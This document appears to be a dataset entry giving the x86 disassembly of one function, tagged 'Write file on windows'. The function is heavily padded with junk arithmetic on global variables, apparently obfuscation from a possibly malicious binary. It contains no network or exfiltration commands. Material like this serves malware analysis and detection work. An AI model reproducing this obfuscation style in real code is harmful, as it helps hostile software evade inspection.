Function at 0x40a3c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x624
mov dword [0x466e64], 0x1f31ea3d
push ebx
mov ebx, dword [esp + 0x62c]
mov ecx, ebx
call fcn.0040abe0
cmp eax, 0x8000
jbe 0x40a8e5
inc dword [0x467ee4]
mov eax, dword [0x467ee4]
add eax, 0xc93082b5
cmp eax, 0x60404888
je 0x40a41c
mov eax, dword [0x46d110]
sub eax, 0x1181dfab
or eax, 0x946b4b1a
sub dword [0x45f7a8], eax
inc dword [0x46d110]
imul eax, dword [0x467bfc], 0xe3202400
push esi
push edi
mov dword [0x467bfc], eax
imul eax, dword [0x45fb34], 0x14800000
mov dword [0x45fb34], eax
lea eax, [esp + 0xc]
mov dword [0x466f6c], 0xf73624b3
push eax
call fcn.0040edf0
imul ecx, dword [0x46f8ac], 0x916df859
mov esi, eax
mov dword [0x46f8ac], ecx
call fcn.0042a670
movzx ecx, al
and ecx, 0x80000003
jns 0x40a477
dec ecx
or ecx, 0xfffffffc
inc ecx
add ecx, 7
lea eax, [esp + 0x10]
push ecx
add eax, esi
push eax
call fcn.00406c70
mov eax, dword [0x45ef04]
mov ecx, dword [0x464b88]
sar eax, 0xa
add eax, 0xa631a83b
imul ecx, eax
push 5
push 0x3b36
mov dword [0x464b88], ecx
call fcn.00414800
and dword [0x46b778], 0xe4b75ab9
mov esi, eax
lea eax, [esp + 0x20]
push esi
push eax
call fcn.0042b6d0
movzx ecx, word [0x47cd72]
xor ecx, 0x7b16bf44
push 3
mov word [0x47cd72], cx
push 0xa96
call fcn.00414800
movzx ecx, word [0x47e65a]
mov edi, eax
add ecx, 0x21080020
push esi
mov word [0x47e65a], cx
push 5
call fcn.00415310
movzx ecx, word [0x481136]
lea eax, [esp + 0x38]
sub ecx, 0x10a3cf3b
push edi
mov word [0x481136], cx
push eax
call fcn.0042c6a1
movsx edx, word [0x47ae2c]
mov esi, eax
movzx ecx, word [0x480d22]
sar edx, 5
imul ecx, edx
push edi
push 3
mov word [0x480d22], cx
call fcn.00415310
movsx ecx, word [0x47f224]
add esp, 0x3c
mov eax, dword [0x473f68]
and ecx, 0xffdf9a7f
not eax
or ecx, 0xf7559823
sub eax, 0x6606d755
cmp ecx, eax
jle 0x40a58b
mov eax, dword [0x45a650]
lea eax, [eax*4 + 0x70c3eb5f]
cmp eax, 0xa300c1cc
je 0x40a58b
mov eax, dword [0x4706f0]
mov dword [0x46bc14], eax
test esi, esi
je 0x40a877
movzx eax, word [0x482816]
xor eax, 0xb191a1ea
mov word [0x482816], ax
movzx eax, word [0x475ff4]
movzx ecx, word [0x478f38]
cwde
sub ecx, eax
mov word [0x478f38], cx
mov ecx, ebx
push esi
push 1
call fcn.0040abe0
push eax
mov ecx, ebx
call fcn.0042a800
push eax
call fcn.0042c854
mov eax, dword [0x463120]
sar eax, 1
or dword [0x4607ec], eax
push esi
call fcn.0042c376
add esp, 0x14
mov eax, 0x2c59
mov word [0x476936], ax
mov ecx, ebx
call fcn.00407f50
mov ecx, dword [0x4672a8]
movzx eax, word [0x482164]
and ecx, 0x72bdffc4
sub eax, ecx
mov ecx, 0xa9f49854
mov word [0x482164], ax
inc dword [0x4672a8]
mov eax, dword [0x4615ec]
sub ecx, eax
push 0x104
lea eax, [esp + 0x128]
mov byte [esp + 0x22c], 0
push eax
mov dword [0x4608bc], ecx
inc dword [0x4615ec]
push 0
call dword [0x4597b8]
xor dword [0x468884], 0x5e085ad8
mov eax, dword [0x46ba50]
mov byte [esp + 0x62c], 0
inc dword [0x46ba50]
cmp eax, 0xfffff95e
jl 0x40a699
mov ax, word [0x47cf18]
mov ecx, dword [0x463f38]
cwde
imul ecx, eax
or ecx, 0x9e822be
mov dword [0x4680f4], ecx
inc dword [0x463f38]
push 0x15
push 0x1d1b
call fcn.00414800
inc dword [0x474518]
mov esi, eax
mov edx, dword [0x474518]
lea eax, [esp + 0x12c]
mov ecx, dword [0x45f1e8]
xor edx, 0xe834f80c
or edx, ecx
sub dword [0x45db7c], edx
inc dword [0x45f1e8]
push dword [0x4596ac]
push dword [0x459694]
push eax
lea eax, [esp + 0x240]
push esi
push eax
call fcn.0042caa0
mov eax, dword [0x474ef4]
sub eax, 0x65615dd7
xor eax, 0xe334f8de
sub dword [0x467abc], eax
push esi
push 0x15
call fcn.00415310
mov eax, dword [0x464900]
add esp, 0x24
dec dword [0x464900]
cmp eax, 0x830c2202
jge 0x40a731
mov eax, dword [0x45f748]
add eax, 0x52ded80e
or dword [0x473d58], eax
push dword [0x4596ac]
call fcn.00402880
inc dword [0x464b9c]
add esp, 4
mov eax, dword [0x464b9c]
add eax, 0xa9630f48
cmp eax, 0xa320491b
jge 0x40a767
imul eax, dword [0x460770], 0xf1afa7
mov dword [0x460770], eax
jmp 0x40a782
mov eax, dword [0x45c2e0]
add eax, 0x41929449
and eax, 0xb69d0039
add dword [0x4734d8], eax
dec dword [0x45c2e0]
lea eax, [esp + 0x22c]
push eax
lea eax, [esp + 0x10]
push eax
call fcn.00423720
push 0x401
lea eax, [esp + 0x238]
mov dword [0x45eeec], 0x1f2b231d
push 0
push eax
call fcn.0042d2a0
movsx eax, word [0x47c118]
sar eax, 7
add eax, 0x69371c90
or dword [0x460374], eax
lea eax, [esp + 0x138]
push 0x105
push 0
push eax
call fcn.0042d2a0
dec dword [0x4634a4]
add esp, 0x20
mov ecx, dword [0x4634a4]
movzx eax, word [0x4771da]
and ecx, 0xc8ef132b
imul ecx, eax
push 0x15f90
mov word [0x4771da], cx
call dword [0x459814]
mov eax, dword [0x46f7c0]
and eax, 0xcb751627
or dword [0x4652f8], eax
lea eax, [esp + 0xc]
push eax
call dword [0x45975c]
mov eax, dword [0x465364]
and eax, 0xffe09460
shl eax, 9
cmp eax, 0xe7c6e0a2
jl 0x40a877
mov eax, dword [0x45fd8c]
sar eax, 4
add eax, 0x201f09c0
cmp eax, 0xa52b5008
jge 0x40a877
movsx eax, word [0x480278]
mov ecx, dword [0x45c1c0]
imul eax, eax, 0xf551e8d6
xor ecx, eax
mov eax, dword [0x467674]
xor eax, ecx
mov dword [0x45c1c0], eax
dec word [0x480278]
dec word [0x47b224]
mov ax, word [0x47b224]
mov ecx, dword [0x472074]
cwde
xor eax, 0x70bf5bbb
shl ecx, 5
or ecx, eax
lea eax, [esp + 0xc]
add dword [0x466de0], ecx
push 0x118
push 0
push eax
call fcn.0042d2a0
movsx eax, word [0x4803a8]
add esp, 0xc
sar eax, 7
pop edi
pop esi
cmp dword [0x45f82c], eax
jl 0x40a8cf
and dword [0x461288], 0xbebc1b71
jmp 0x40a8e5
mov eax, dword [0x473290]
add eax, 0x428f51c9
and dword [0x468144], eax
dec dword [0x473290]
mov eax, dword [0x4720dc]
inc dword [0x4720dc]
pop ebx
cmp eax, 0xefce2e69
jle 0x40a912
movzx eax, word [0x4801fa]
imul eax, eax, 0xe3b5efd2
mov word [0x4801fa], ax
add esp, 0x624
ret
mov eax, dword [0x471714]
add eax, dword [0x467d88]
mov dword [0x467d88], eax
add esp, 0x624
ret